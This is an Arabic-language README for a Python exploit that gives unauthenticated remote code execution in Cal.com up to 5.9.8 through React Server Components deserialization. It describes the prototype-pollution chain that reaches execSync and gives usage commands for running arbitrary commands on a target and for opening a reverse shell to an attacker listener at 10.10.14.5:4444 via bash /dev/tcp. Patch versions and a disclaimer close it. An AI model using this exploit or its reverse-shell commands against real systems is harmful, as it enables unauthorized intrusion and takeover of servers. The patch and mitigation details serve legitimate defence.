
استغلال Python لتنفيذ تعليمات برمجية عن بُعد (RCE) بدون مصادقة في Cal.com (CVE-2025-71389) عبر إلغاء تسلسل React Server Components. طلب واحد يحقق تنفيذ أوامر أو شل عكسي.
تنفيذ أكواد عن بُعد دون مصادقة في Cal.com
<= 5.9.8 عبر ثغرة إلغاء تسلسل "Flight" في مكونات خادم React —
"react2shell" (CVE-2025-55182 في React، CVE-2025-66478 في Next.js).
تتضمن Cal.com نسخةً هشّة من Next.js 15.x. طلب POST / واحد دون مصادقة يحمل
ترويسة Next-Action وحمولة Flight متعددة الأجزاء مصمَّمة خصيصًا، يسلك سلسلة
تلويث النموذج الأولي (__proto__:then + constructor:constructor) وصولًا إلى
eval في جانب الخادم، ليبلغ child_process.execSync. يُرجَع مخرَج الأمر مباشرةً
داخل حقل digest في خطأ RSC. لا مصادقة ولا تفاعل من المستخدم — طلب واحد
كافٍ للتنفيذ عن بُعد.
<= 5.9.8 (Next.js 15.x / 16.x App Router مع RSC)5.9.9 (ترقية نسخة Next.js المضمّنة)3000pip install requests
# one-off command (output comes back in the response)
python3 exploit.py http://10.10.10.10:3000/ -c 'id'
python3 exploit.py http://10.10.10.10:3000/ -c 'cat /root/proof.txt'
# interactive reverse shell (start `nc -lvnp 4444` first)
python3 exploit.py http://10.10.10.10:3000/ --shell 10.10.14.5:4444
يُرجِع الأمر لمرة واحدة مخرجه مباشرةً عبر حقل digest في خطأ RSC. وضع --shell
يُطلق صدفة عكسية bash عبر /dev/tcp منفصلة عن الجلسة بواسطة setsid
(حاوية الهدف تعمل بنظام Debian وتتضمن bash).
قم بترقية Cal.com إلى >= 5.9.9 (أي نسخة Next.js مصحّحة: 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 /
15.4.8 / 15.5.7 / 16.0.7). لا تعرّض معالج دالة الخادم RSC لعملاء غير موثوقين،
ولا تُشغّل حاوية التطبيق بصلاحيات الجذر.
لأغراض الاختبارات الأمنية المصرّح بها والتعليم فقط. استخدمه فقط ضد الأنظمة التي تملكها أو لديك إذن صريح باختبارها.